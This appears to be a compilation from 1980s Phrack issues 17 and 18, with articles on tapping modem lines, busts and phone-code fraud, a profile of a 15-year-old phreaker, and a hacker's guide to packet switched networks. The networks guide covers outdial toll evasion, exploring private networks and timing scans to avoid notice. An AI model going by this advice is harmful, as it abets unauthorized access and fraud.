FOR SEVERAL YEARS, I ACCEPTED CERTAIN BITS OF MISINFORMATION AS TECHNICALLY ACCURATE, AND DIDN'T PROPERLY PURSUE THE MATTER. SEVERAL FOOLS GAVE ME FOOLISH INFORMATION, SUCH AS: A TAP INTERRUPTS COMPUTER DATA TRANSMISSIONS; DATA COULD BE PICKED UP AS RF EMANATIONS BUT IT WAS A MASS OF UNINTELLIGIBLE SIGNAL CAUSED BY DATA MOVING BETWEEN REGISTERS; ONE HAD TO BE IN 'SYNC' WITH ANY SENDING COMPUTER; DATA COULDN'T BE READ UNLESS YOU HAD A DIRECT MATCH IN SPEED, PARITY & BIT PATTERN; AND ONLY A COMPUTER OF THE SAME MAKE AND MODEL COULD READ THE SENDING COMPUTER. THIS IS ALL PLAIN SWILL. IT IS IN FACT, AN EASIER CHORE TO TAP A COMPUTER THAN A TELEPHONE. THE TECHNIQUE AND THE EQUIPMENT IS ALMOST THE SAME, BUT THE COMPUTER LINE WILL BE MORE ACCURATE (THE TWO COMPUTERS INVOLVED, HAVE ERROR CORRECTING PROCEDURES) AND CLEARER (DIGITAL TRANSMISSIONS HAVE MORE DISTINCT SIGNALS THAN ANALOG TRANSMISSIONS).

FIRST, RECOGNIZE THAT NEARLY ALL DATA TRANSMISSIONS ARE SENT IN CLEARTEXT ASCII SIGNALS. THE LINES CARRYING OTHER BIT‑GROUPS OR ENCIPHERED TEXTS ARE RARE. SECOND, THE SIGNAL APPEARS ON GREEN AND RED (WIRES) OF THE PHONE LINE ('TIP' AND 'RING'). THE DATA IS MOST LIKELY ASYNCHRONOUS SERIAL DATA MOVING AT 300 BAUD. NOW THAT 1200 BAUD IS BECOMING MORE CHIC, YOU CAN EXPECT TO FIND A GROWING USE OF THE FASTER TRANSMISSION RATE. FINALLY, YOU DON'T NEED TO WORRY ABOUT THE PROTOCOL OR EVEN THE BAUD RATE (SPEED) UNTIL AFTER A TAPED COPY OF A TRANSMISSION IS OBTAINED.

IN A SIMPLE EXPERIMENT, A TAPED COPY OF A DATA TRANSMISSION WAS MADE WITH THE CHEAPEST OF TAPE RECORDERS, TAPPING THE GREEN AND RED LINES BEYOND THE MODEM. THE RECORDING WAS THEN PLAYED INTO A MODEM AS THOUGH IT WERE AN ORIGINAL TRANSMISSION. AT THAT POINT, HAD IT BEEN NECESSARY, THE PROTOCOL SETTINGS ON RECEIVING TERMINAL COULD HAVE BEEN CHANGED TO MATCH THE TAPE. NO ADJUSTMENTS WERE NECESSARY AND A NICE, CLEAR ERROR‑FREE DOCUMENT WAS RECEIVED ON THE ILLICIT VIDEO SCREEN AND A NEAT HARD‑COPY OF THE DOCUMENT CAME OFF THE PRINTER. THE MESSAGE WAS INDEED CAPTURED, BUT HAD IT BEEN AN INTERCEPTION INSTEAD OF A SIMPLE MONITORING, IT COULD HAVE BEEN ALTERED WITH A SIMPLE WORD PROCESSOR PROGRAM, TO SUIT ANY PURPOSE, AND PLACED BACK ON THE WIRE.

WERE I TO HAVE AN INTEREST IN INFORMATION ORIGINATING FROM A PARTICULAR COMPANY, AGENCY, OR OFFICE, I THINK THAT I WOULD FIND IT FAR MORE PRODUCTIVE TO TAP A DATA TRANSMISSION THAN TO TAP A VOICE TRANSMISSION, AND EVEN MORE REWARDING THAN GETTING HARDCOPY DOCUMENTS.

*SIGNIFICANT & IMPORTANT INFORMATION IS MORE CONCENTRATED IN A DATA TRANSMISSION.

*SIGNIFICANT & IMPORTANT INFORMATION IS MORE EASILY LOCATED IN DATA TRANSMISSIONS THAN IN MASSES OF FILES OR PHONE CALLS. *TRANSMITTED DATA IS PRESUMED TRUE, AND WHEN ALTERATION IS DISCOVERED, IT'S READILY BLAMED ON THE EQUIPMENT.

*THE LAWS CONCERNING TAPS ON UNCLASSIFIED AND NON‑FINANCIAL COMPUTER DATA ARE EITHER QUITE LACKING OR ABJECTLY STUPID.

THE POINT OF ALL THIS IS THAT THE PRUDENT MANAGER REALLY OUGHT TO ENCRYPT ALL DATA TRANSMISSIONS. ENCRYPTION PACKAGES ARE CHEAP (A 'DES' PROGRAM IS NOW PRICED AT $30) AND ARE EASY TO USE.

PWN17.1 Bust Update

#### PHRACK PRESENTS ISSUE 17 ####

^*^*^*^ Phrack World News, Part 1 ^*^*^*^

**** File 10 of 12 ****

‑ P H R A C K W O R L D N E W S (Mainly Compiled By Sir Francis Drake)

2/1/88

BUST UPDATE

===========

All the people busted by the Secret Service last July were contacted in September and asked if they "wanted to talk." No one but Solid State heard from the S.S. after this. Solid State was prosecuted and got one year probation plus some required community service. The rest: Ninja NYC, Bill >From RNOC, Oryan QUEST, etc. are still waiting to hear. Some rumors have gone around that Oryan QUEST has cooperated extensively with the feds but I have no idea about the validity of this. The following is a short interview with Oryan QUEST. Remember that QUEST has a habit of lying.

PHRACK: Did you hear from the SS in September? It seems everybody else has.

QUEST: No. I haven't heard from them since I was busted. Maybe they forgot me.

P: What's your lawyer think of your case?

Q: He says lay low. He says it's no problem because of my age.

P: What do your parents think?

Q: They were REALLY pissed for about a week but then they relaxed. I mean I think my parents knew I went through enough... I mean I felt like shit.

P: Do you plan to keep involved in Telecom legit or otherwise?

Q: Uhh, I wanna call boards... I mean I can understand why a sysop wouldn't give me an access but... I'm thinking of putting a board up, a secure board just to stay in touch ya know? Cause I had a lot of fun I mean I just don't want to get busted again.

P: Any further words of wisdom?

Q: No matter what anyone says I'm *ELITE*. NOOOO don't put that.

P: Yes I am.

Q: No I don't want people to think I'm a dick.

P: Well...

Q: You're a dick.

‑ On a completely different note, Taran King who as some of you know was busted, is going to be writing a file for Phrack about what happened real soon now.

MEDIA

=====

The big media thing has been scare stories about computer viruses, culminating in a one page Newsweek article written by good old Sandza and friends. John Markoff of the San Francisco Examiner wrote articles on viruses, hacking voice mailboxes, and one that should come out soon about the July Busts (centering on Oryan QUEST). A small scoop: He may be leaving for the New York Times or the San Jose Mercury.

Phreak media wise things have been going downhill. Besides PHRACK (which had a bad period but hopefully we're back for good) there is 2600, and Syndicate Report. Syndicate Report is dead, although their voice mail system is up. Sometimes. 2600 has gone from a monthly magazine to a quarterly one because they were losing so much money. One dead and 2 wounded.

MISCELLANEOUS

=============

Taran King and Knight Lightning are having a fun time in their fraternity at University of Missouri. Their respective GPA's are 2.1 and 2.7 approximately.... Phantom Phreaker and Doom Prophet are in a (punk/metal) band... Lex Luthor is alive and writing long articles for 2600... Sir Francis Drake sold out and wrote phreak articles for Thrasher... Jester Sluggo has become vaguely active again...

CONCLUSION

==========

Less and less people are phreaking, the world is in sorry shape, and I'm going to bed. Hail Eris.

PWN17.2 Illegal Hacker Crackdown

#### PHRACK PRESENTS ISSUE 17 ####

^*^*^*^ Phrack World News, Part 2 ^*^*^*^

**** File 11 of 12 ****

"Illegal Hacker Crackdown" from the California Computer News ‑ October 1987 Article by Al Simmons ‑ CCN Editor

Hackers beware!

Phone security authorities, the local police, and the Secret Service have been closing down on illegal hacking ‑ electronic thievery ‑ that is costing the long‑distance communications companies and their customers millions of dollars annually. In the U.S., the loss tally on computer fraud, of all kinds, is now running between $3 billion and $5 a year, according to government sources.

"San Francisco D.A. Gets First Adult Conviction for Hacking" (After about 18 years, it's a about time!)

San Francisco, District Attorney Arlo Smith recently announced the first criminal conviction in San Francisco Superior Court involving an adult computer hacker.

In a report released August 31, the San Francisco District Attorney's office named defendant Steve Cseh, 25, of San Francisco as having pled guilty earlier that month to a felony of "obtaining telephone services with fraudulent intent" (phreaking) by means of a computer.

Cseh was sentenced by Superior Court Judge Laurence Kay to three years probation and ordered to preform 120 hours of community service.

Judge Kay reduced the offense to a misdemeanor in light of Cseh's making full restitution to U.S. Sprint ‑ the victim phone company.

At the insistence of the prosecuting attorney, however, the Court ordered Cseh to turn his computer and modem over to U.S. Sprint to help defray the phone company's costs in detecting the defendant's thefts. (That's like big money there!)

A team of investigators from U.S. Sprint and Pac Tel (the gestapo) worked for weeks earlier this year to detect the hacking activity and trace it to Cseh's phone line, D.A. Arlo Smith said.

The case centered around the use of a computer and its software to illegally acquire a number of their registered users to make long‑distance calls.

Cseh's calls were monitored for a three‑week period last March. After tracing the activity to Cseh's phone line, phone company security people (gestapo stormtroopers) were able to obtain legal authority, under a federal phone communications statute, to monitor the origin and duration of the illegal calls.

Subsequently, the investigators along with Inspector George Walsh of the San Francisco Police Dept. Fraud Detail obtained a search warrant of Cseh's residence. Computer equipment, a software dialing program, and notebooks filled with codes and phone numbers were among the evidence seized, according to Asst. D.A. Jerry Coleman who prosecuted the case.

U.S Sprint had initially reported more than $300,000 in losses from the use of their codes during the past two years; however, the investigation efforts could only prove specific losses of a lesser amount traceable to Cseh during the three‑week monitoring period.

"It is probable that other computer users had access to the hacked Sprint codes throughout the country due to dissemination on illegal computer bulletin boards," added Coleman (When where BBS's made illegal Mr. Coleman?)

"Sacramento Investigators Breakup Tahoe Electronic Thefts"

Meanwhile, at South Shore Lake Tahoe, Secret Service and phone company investigators arrested Thomas Gould Alvord, closing down an electronic theft ring estimated to have rung up more than $2 million in unauthorized calls.

A Sacramento Bee story, filed by the Bee staff writers Ted Bell and Jim Lewis, reported that Alvord, 37, was arrested September 9, on five felony counts of computer hacking of long‑distance access codes to five private telephone companies.

Alvord is said to have used an automatic dialer, with computer programmed dialing formulas, enabling him to find long‑distance credit card numbers used by clients of private telephone companies, according to an affidavit filed in Sacramento's District Court.

The affidavit, filed by William S. Granger, a special agent of the Secret Service, identified Paula Hayes, an investigator for Tel‑America of Salt Lake City, as the undercover agent who finally brought an end to Alvord's South Shore Electronic Co. illegal hacking operation. Hayes worked undercover to purchase access codes from Alvord.

Agent Garanger's affidavit lists U.S. Sprint losses at $340,000 but Sprint spokesman Jenay Cottrell said that figure "could grow considerably," according to the Bee report.

One stock brokerage firm, is reported to have seen its monthly Pacific Bell telephone bill climb steadily from $3,000 in April to $72,000 in August. The long‑distance access codes of the firm were among those traced to Alvord's telephones, according to investigators the Bee said.

Alvord was reportedly hacking access codes from Sprint, Pacific Bell, and other companies and was selling them to truck drivers for $60 a month. Alvord charged companies making overseas calls and larger businesses between $120 and $300 a month for the long‑distance services of his South Shore Electronics Co.

PWN17.3 Cracker are Cheating Bell

#### PHRACK PRESENTS ISSUE 17 ####

^*^*^*^ Phrack World News, Part 3 ^*^*^*^

**** File 12 of 12 ****

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑[ PHRACK XVII ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The Code Crackers are Cheating Ma Bell" Typed by the Sorceress from the San Francisco Chronicle Edited by the $muggler

The Far Side..........................(415)471‑1138 Underground Communications, Inc.......(415)770‑0140

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In California prisons, inmates use "the code" to make free telephone calls lining up everything from gun running jobs to visits from grandma.

In a college dormitory in Tennessee, students use the code to open up a long‑distance line on a pay phone for 12 straight hours of free calls.

In a phone booth somewhere in the Midwest, a mobster uses the code to make untraceable calls that bring a shipment of narcotics from South America to the United States.

The code is actually millions of different personal identification numbers assigned by the nation's telephone companies. Fraudulent use of those codes is now a nationwide epidemic that is costing America's phone companies more than $500 million each year.

In the end, most of that cost is passed on to consumers, in the form of higher phone rates, analysts say.

The security codes range form multidigit access codes used by customers of the many alternative long‑distance companies to the "calling card" numbers assigned by America Telephone & Telegraph and the 22 local phone companies, such as Pacific Bell.

Most of the loss comes form the activities of computer hackers, said Rene Dunn, speaking for U.S. Sprint, the third‑largest long‑distance company.

These technical experts ‑ frequently bright, if socially reclusive, teenagers ‑ set up their computers to dial the local access telephone number of one of the alternative long‑distance firms, such as MCI and U.S. Sprint. When the phone answers, a legitimate customer would normally punch in a secret personal code, usually five digits, that allows him to make his call.

Hackers, however, have devised computer programs that will keep firing combinations of numbers until it hits the right combination, much like a safecracker waiting for the telltale sound of pins and tumblers meshing.

Then the hacker‑ known in the industry as a "cracker" because he has cracked the code‑ has full access to that customer's phone line.

The customer does not realize what has happened until a huge phone bill arrives at the end of the month. By that time, his access number and personal code have been tacked up on thousands of electronic bulletin boards throughout the country, accessible to anyone with a computer, a telephone and a modem, the device that allows the computer to communicate over telephone lines.

"This is definitely a major problem," said one telephone security expert, who declined to be identified. "I've seen one account with a $98,000 monthly bill."

One Berkeley man has battled the telephone cheats since last fall, when his MCI bill showed about $100 in long‑distance calls he had not made.

Although MCI assured him that the problem would be taken care of, the man's latest bill was 11 pages long and has $563.40 worth of long‑distance calls. Those calls include:

[] A two‑hour call to Hyattsville, Maryland, on January 22. A woman who answered the Hyattsville phone said she had no idea who called her house.

[] Repeated calls to a dormitory telephone at UCLA. The student who answered the phone there said she did not know who spent 39 minutes talking to her, or her roommate, shortly after midnight on January 23.

[] Calls to dormitory rooms at Washington State University in Pullman and to the University of Colorado in Boulder. Men who answered the phones there professed ignorance of who had called them or of any stolen long‑distance codes.

The Berkeley customer, who asked not to be identified, said he reached his frustration limit and canceled his MCI account.

The phone companies are pursing the hackers and other thieves with methods that try to keep up with a technological monster that is linked by trillions of miles of telephone lines.

The companies sometimes monitor customers' phone bills. If a bill that averages about $40 or $50 a month suddenly soars to several hundred dollars with calls apparently placed from all over the country on the same day, the phone company flags the bill and tries to track the source of the calls.

The FBI makes its own surveillance sweeps of electronic bulletin boards, looking for stolen code numbers. The phone companies occasionally call up these boards and post messages, warning that arrest warrants will be coming soon if the fraudulent practice does not stop. Reputable bulletin boards post their own warnings to telephone hackers, telling them to stay out.

Several criminal prosecutions are already in the works, said Jocelyne Calia, the manager of toll fraud for U.S. Sprint.

If the detectives do not want to talk about their methods, the underground is equally circumspect. "If they (the companies) have effective (prevention) methods, how come all this is still going on?" asked one computer expert, a veteran hacker who says he went legitimate about 10 years ago.

The computer expert, who identified himself only as Dr. Strange, said he was part of the original group of electronic wizards of the early 1970s who devised the "blue boxes" complex instruments that emulate the tones of a telephone and allowed these early hackers to break into the toll‑free 800 system and call all over the world free of charge.

The new hacker bedeviling the phone companies are simply the result of the "technology changing to one of computers, instead of blue boxes" Dr. Strange said. As the "phone company elevates the odds... the bigger a challenge it becomes," he said.

A feeling of ambivalence toward the huge and largely anonymous phone companies makes it easier for many people to rationalize their cheating. A woman in a Southwestern state who obtained an authorization code from her boyfriend said, through an intermediary, that she never really thought of telephone fraud as a "moral issue." "I don't abuse it," the woman said of her newfound telephone privilege. "I don't use it for long periods of time ‑ I never talk for more than an hour at a time ‑ and I don't give it out to friends." Besides, she said, the bills for calls she has been making all over the United States for the past six weeks go to a "large corporation that I was dissatisfied with. It's not as if an individual is getting the bills."

There is one place, however, where the phone companies maybe have the upper hand in their constant war with the hackers and cheats.

In some prisons, said an MCI spokesman, "we've found we can use peer pressure. Let's say we restrict access to the phones, or even take them out, and there were a lot of prisoners who weren't abusing the phone system. So the word gets spread to those guys about which prisoner it was that caused the telephones to get taken out. Once you get the identification (of the phone‑abusing prisoner) out there, I don't think you have to worry much" the spokesman said. "There's a justice system in the prisons, too."

18

- Index of Phrack 18 by Crimson Death

- Pro-Phile XI on Ax Murderer by Crimson Death

- An Introduction to Packet Switched Networks by Epsilon

- Primos by Magic Hasan

- Hacking CDC's Cyber by Phrozen Ghost

- Unix for the Moderate by Urvile

- Unix System Security Issues by Jester Sluggo

- Loop Maintenance Operating System by Control C

- A Few Things About Networks by Prime Suspect

- Phrack World News XVIII Part I by Epsilon

- Phrack World News XVIII Part II by Epsilon

Index of Phrack 18

==Phrack Inc.==

Volume Two, Issue 18, Phile #1 of 11

Index

====

June 7, 1988

Well, Phrack Inc. is still alive but have changed editors again. I, Crimson Death am now the new editor of Phrack Inc. The reason why I am the new editor is because of the previous editors in school and they did not just have the time for it. So, if you would like to submit an article for Phrack Inc. please contact: Crimson Death, Control C, or Epsilon, or call my BBS (The Forgotten Realm) or one of the BBSes on the sponsor BBS listing (Found in PWN Part 1). We are ALWAYS looking for more files to put in upcoming issues. Well, that about does it for me. I hope you enjoy Phrack 18 as much as we at The Forgotten Realm did bringing it to you. Later...

Crimson Death

Sysop of The Forgotten Realm

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This issue of Phrack Inc. includes the following:

#1 Index of Phrack 18 by Crimson Death (02k) #2 Pro‑Phile XI on Ax Murderer by Crimson Death (04k) #3 An Introduction to Packet Switched Networks by Epsilon (12k) #4 Primos: Primenet, RJE, DPTX by Magic Hasan (15k) #5 Hacking CDC's Cyber by Phrozen Ghost (12k) #6 Unix for the Moderate by Urvile (11k) #7 Unix System Security Issues by Jester Sluggo (27k) #8 Loop Maintenance Operating System by Control C (32k) #9 A Few Things About Networks by Prime Suspect (21k) #10 Phrack World News XVIII Part I by Epsilon (09k) #11 Phrack World News XVIII Part II by Epsilon (05k)

Pro-Phile XI on Ax Murderer

==Phrack Inc.==

Volume Two, Issue 18, Phile #2 of 11

==Phrack Pro‑Phile XI==

Written and Created by Crimson Death

Welcome to Phrack Pro‑Phile XI. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you a name familiar to most in the BBS world...

Ax Murderer

======

Ax Murderer is popular to many of stronger names in the P/H community.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

========

Handle: Ax Murderer

Call him: Mike

Past handles: None

Handle origin: Thought of it while on CompuServe. Date of Birth: 10/04/72

Age at current date: 15

Height: 6' 2''

Weight: 205 Lbs.

Eye color: Brown

Hair Color: Brown

Computers: IBM PC, Apple II+, Apple IIe Sysop/Co‑Sysop of: The Outlet Private, Red‑Sector‑A, The Autobahn

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ax Murderer started phreaking and hacking in 1983 through the help of some of his friends. Members of the Hack/Phreak world which he has met include Control C, Bad Subscript, The Timelord. Some of the memorable phreak/hack BBS's he was/is on included WOPR, OSUNY, Plovernet, Pirate 80, Shadow Spawn, Metal Shop Private, Sherwood Forest (213), IROC, Dragon Fire, and Shadowland. His phreaking and hacking knowledge came about with a group of people in which some included Forest Ranger and The Timelord.

Ax Murderer is a little more interested in Phreaking than hacking. He does like to program however, he can program in 'C', Basic, Pascal, and Machine Language.

The only group in which Ax Murderer has been in is Phoneline Phantoms.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Telecommunications (Modeming, phreaking, hacking, programming), football, track, cars, and music.

Ax Murderer's Favorite Thing

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

His car... (A Buick Grand National)

His gilrfriend... (Sue)

Rock Music

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Newsweek Incident with Richard Sandza (He was the Judge for the tele‑trial)

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Forest Ranger (For introducing me to everyone and getting me on Dragon Fire) Taran King (For giving me a chance on MSP and the P/H world)

Mind Bender (For having ANY utilities I ever needed)

The Necromancer (Getting me my Apple'cat)

The Titan (Helping me program the BBS)

All for being friends and all around good people and phreaks.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ax Murderer is out and out against the idea of the destruction of data. He hated the incident with MIT where the hackers were just hacking it to destroy files on the system. He says that it ruins it for the everyone else and gives 'True Hackers' a bad name. He hates it when people hack to destroy, Ax has no respect for anyone who does this today. Where have all the good times gone?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this phile, look forward to more Phrack Pro‑Philes coming in the near future.... And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? "No, not really." Thanks Mike.

Crimson Death

Sysop of The Forgotten Realm

An Introduction to Packet Switched Networks

==Phrack Inc.==

Volume Two, Issue 18, Phile #3 of 11

_ _ _ _ _______________________

_‑_‑_‑_‑

_‑_‑_‑_‑ An Introduction To ‑_‑_‑_‑_

_‑_‑_‑_‑

_‑_‑_‑_‑ Packet Switched Networks ‑_‑_‑_‑_

_‑_‑_‑_‑

_‑_‑_‑_‑

_‑_‑_‑_‑

_‑_‑_‑_‑ Written By ‑ Revised ‑ ‑_‑_‑_‑_

_‑_‑_‑_‑

_‑_‑_‑_‑ Epsilon 05/3/88 ‑_‑_‑_‑_

_‑_‑_‑_‑_______________________

Preface ‑

In the past few years, Packet Switched Networks have become a prominent feature in the world of telecommunications. These networks have provided ways of communicating with virtually error‑free data, over very large distances. These networks have become an imperative to many a corporation in the business world. In this file we will review some of the basic aspects of Packet Switched Networks.

Advantages ‑

The Packet Switched Network has many advantages to the common user, and even more to the hacker, which will be reviewed in the next topic.

The basis of a Packet Switched Network is the Packet Switch. This network enables the service user to connect to any number of hosts via a local POTS dial‑up/port. The various hosts pay to be connected to this type of network, and that's why there is often a surcharge for connection to larger public services like Compuserve or The Source.

A Packet Switched Network provides efficient data transfer and lower rates than normal circuit switched calls, which can be a great convenience if you are planning to do a lot of transferring of files between you and the host.

Not only is the communication efficient, it is virtually error free. Whereas in normal circuit switched calls, there could be a drastic increase in errors, thus creating a bad transfer of data.

When using a Packet Switched Network, it is not important that you communicate at the same baud rate as your host. A special device regulates the speed so that the individual packets are sped up or slowed down, according to your equipment. Such a device is called a PAD (Packet Assembler Disassembler).

A PSN also provides access to a variety of information and news retrieval services. The user pays nothing for these calls, because the connections are collect. Although the user may have to subscribe to the service to take advantage of it's services, the connection is usually free, except for a surcharge on some of the larger subscription services.

Advantages To Hackers ‑

Packet Switched Networks, to me, are the best thing to come along since the phone system. I'm sure many other hackers feel the same way. One of the reasons for this opinion is that when hacking a system, you need not dial out of your LATA, using codes or otherwise.

Now, the hacker no longer has to figure out what parameters he has to set his equipment to, to communicate with a target computer effectively. All PSSes use the same protocol, set by international standards. This protocol is called X.25. This protocol is used on every network‑to‑network call in the world.

When operating on a packet switch, you are not only limited to your own network (As if that wasn't enough already). You can access other PSSes or private data networks through gateways which are implemented in your PSN. There are gateways to virtually every network, from virtually every other network, except for extremely sensitive or private networks, in which case would probably be completely isolated from remote access.

Another advantage with PSNs is that almost everyone has a local port, which means if you have an outdial (Next paragraph), you can access regular circuit switched hosts via your local Packet Switched Network port. Since the ports are local, you can spend as much time as you want on it for absolutely no cost. So think about it. Access to any feasible network, including overseas PSNs and packet switches, access to almost any host, access to normal circuit switched telephone‑reachable hosts via an outdial, and with an NUI (Network User Identity ‑ Login and password entered at the @ prompt on Telenet), unlimited access to any NUA, reverse‑charged or not.

Due to the recent abuse of long distance companies, the use of codes when making free calls is getting to be more and more hazardous. You may ask, 'Is there any resort to making free calls without using codes, and without using a blue box?' The answer is yes, but only when using data. With an outdial, accessible from your local PSN port, you can make data calls with a remote modem, almost always connected directly to a server, or a port selector. This method of communicating is more efficient, safer, and more reliable than using any code. Besides, with the implementation of equal access, and the elimination of 950 ports, what choice will you have?

Some Important Networks ‑

As aforementioned, PSNs are not only used in the United States. They are all over the place. In Europe, Asia, Canada, Africa, etc. This is a small summary of some of the more popular PSNs around the world.

Country Network Name *DNIC

~~~~~~~ ~~~~~~~ ~~~~

Germany Datex‑P 2624 Canada Datapac 3020 Italy Datex‑P 0222 South Africa Saponet 0655 Japan Venus‑P 4408 England Janet/PSS 2342 USA Tymnet 3106 USA Telenet 3110 USA Autonet 3126 USA RCA 3113 Australia Austpac 0505 Ireland Irepac 2724 Luxembourg Luxpac 2704 Singapore Telepac 5252 France Transpac 2080 Switzerland Telepac 2284 Sweden Telepac 2405 Israel Isranet 4251

~~~~~~~~~ ~~~~~~~

* ‑ DNIC (Data Network Identification Code) Precede DNIC and logical address with a '0' when using Telenet.

________________________________________

Notes On Above Networks ‑

Some countries may have more than one Packet Switching Network. The ones listed are the more significant networks for each country. For example, the United States has eleven public Packet Switching Networks, but the four I listed are the major ones.

Several countries may also share one network, as shown above. Each country will have equal access to the network using the basic POTS dial‑up ports.

Focus On Telenet ‑

Since Telenet is one of the most famous, and highly used PSNs in the United States, I thought that informing you of some of the more interesting aspects of this network would be beneficial.

Interconnections With Other Network Types ‑

Packet Switched Networks are not the only type of networks which connect a large capacity of hosts together. There are also Wide Area Networks, which operate on a continuous link basis, rather than a packet switched basis. These networks do not use the standardized X.25 protocol, and can only be reached by direct dial‑ups, or by connecting to a host which has network access permissions. The point is, that if you wanted to reach, say, Arpanet from Telenet, you would have to have access to a host which is connected to both networks. This way, you can connect to the target host computer via Telenet, and use the WAN via the target host.

WANs aren't the only other networks you can access. Also, connections to other small, private, interoffice LANs are quite common and quite feasible.

Connections To International NUAs via NUIs ‑

When using an NUI, at the prompt, type 0+DNIC+NUA. After your connection is established, proceed to use the system you've reached.

Private Data Networks ‑

Within the large Packet Switched Networks that are accessible to us there are also smaller private networks. These networks can sometimes be very interesting as they may contain many different systems. A way to identify a private network is by looking at the three digit prefix. Most prefixes accessible by Telenet are based on area codes. Private networks often have a prefix that has nothing to do with any area code. (Ex. 322, 421, 224, 144) Those prefixes are not real networks, just examples.

Inside these private networks, there are often smaller networks which are connected with some type of host selector or gateway server. If you find something like this, there may be hosts that can be accessed only by this port selector/server, and not by the normal prefix. It is best to find out what these other addresses translate to, in case you are not able to access the server for some reason. That way, you always have a backup method of reaching the target system (Usually the addresses that are accessed by a gateway server/port selector translate to normal NUAs accessible from your Telenet port).

When exploring a private network, keep in mind that since these networks are smaller, they would most likely be watched more closely during business hours then say Telenet or Tymnet. Try to keep your scanning and tinkering down to a minimum on business hours to avoid any unnecessary trouble. Remember, things tend to last longer if you don't abuse the hell out of them.

Summary ‑

I hope this file helped you out a bit, and at least gave you a general idea of what PSNs are used for, and some of the advantages of using these networks. If you can find something interesting during your explorations of PSNs, or Private Data Networks, share it, and spread the knowledge around. Definitely exploit what you've found, and use it to your advantage, but don't abuse it.

If you have any questions or comments, you reach me on ‑

The FreeWorld II/Central Office/Forgotten Realm/TOP.

I hope you enjoyed my file. Thanks for your time. I should be writing a follow up article to this one as soon as I can. Stay safe..

‑ Epsilon

________________________________________

‑ Thanks To

Prime Suspect/Sir Qix/The Technic/Empty Promise/The Leftist

Primos

==Phrack Inc.==

Volume Two, Issue 18, Phile #4 of 11

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑

‑

‑ PRIMOS:

‑ NETWORK COMMUNICATIONS ‑

‑

‑ PRIMENET, RJE, DPTX ‑

‑

‑

‑ Presented by Magic Hasan June 1988 ‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PRIME's uniform operating system, PRIMOS, supports a wide range of communications products to suit any distributed processing need. The PRIMENET distributed networking facility provides complete local and remote network communication services for all PRIME systems. PRIME's Remote Job Entry (RJE) products enable multi‑user PRIME systems to emulate IBM, CDC, Univac, Honeywell and ICL remote job entry terminals over synchronous communication lines. PRIME's Distributed Processing Terminal Executive (DPTX) allows users to construct communication networks with PRIME and IBM‑compatible equipment.

PRIMENET

‑‑‑‑‑

PRIMENET provides complete local and remote network communication services for all PRIME systems. PRIMENET networking software lets a user or process on one PRIME system communicate with any other PRIME system in the network without concern for any protocol details. A user can log in to any computer in the network from any terminal in the network. With PRIMENET, networking software processes running concurrently on different systems can communicate interactively. PRIMENET allows transparent access to any system in the network without burdening the user with extra commands.

PRIMENET has been designed and implemented so that user interface is simple and transparent. Running on a remote system from a local node of the network or accessing remote files requires no reprogramming of user applications or extensive user training. All the intricacies and communication protocols of the network are handled by the PRIMENET software. For both the local and remote networks, PRIMENET will allow users to share documents, files, and programs and use any disk or printer configured in the network.

For a local network between physically adjacent systems, PRIME offers the high‑performance microprocessor, the PRIMENET Node Controller (PNC). The controller users direct memory access for low overhead and allows loosely coupled nodes to share resources in an efficient manner. The PNCs for each system are connected to each other with a coaxial cable to form a high‑speed ring network, with up to 750 feet (230 meters) between any two systems.

Any system in the PNC ring can establish virtual circuits with any other system, making PNC‑based networks "fully connected" with a direct path between each pair of systems. The ring has sufficient bandwidth (1 MB per second) and addressing capability to accommodate over 200 systems in a ring structure; however, PRIMENET currently supports up to sixteen systems on a ring to operate as a single local network.

The PRIMENET Node Controller is designed to assure continuity of operation in the event that one of the systems fails. One system can be removed from the network or restored to on‑line status without disturbing the operations of the other system. An active node is unaware of messages destined for other nodes in the network, and the CPU is notified only when a message for that node has been correctly received.

Synchronous communications over dedicated leased lines or dial‑up lines is provided through the Multiple Data Link Controller (MDLC). This controller handles certain protocol formatting and data transfer functions normally performed by the operating system in other computers. The controller's microprogrammed architecture increases throughput by eliminating many tasks from central processor overhead.

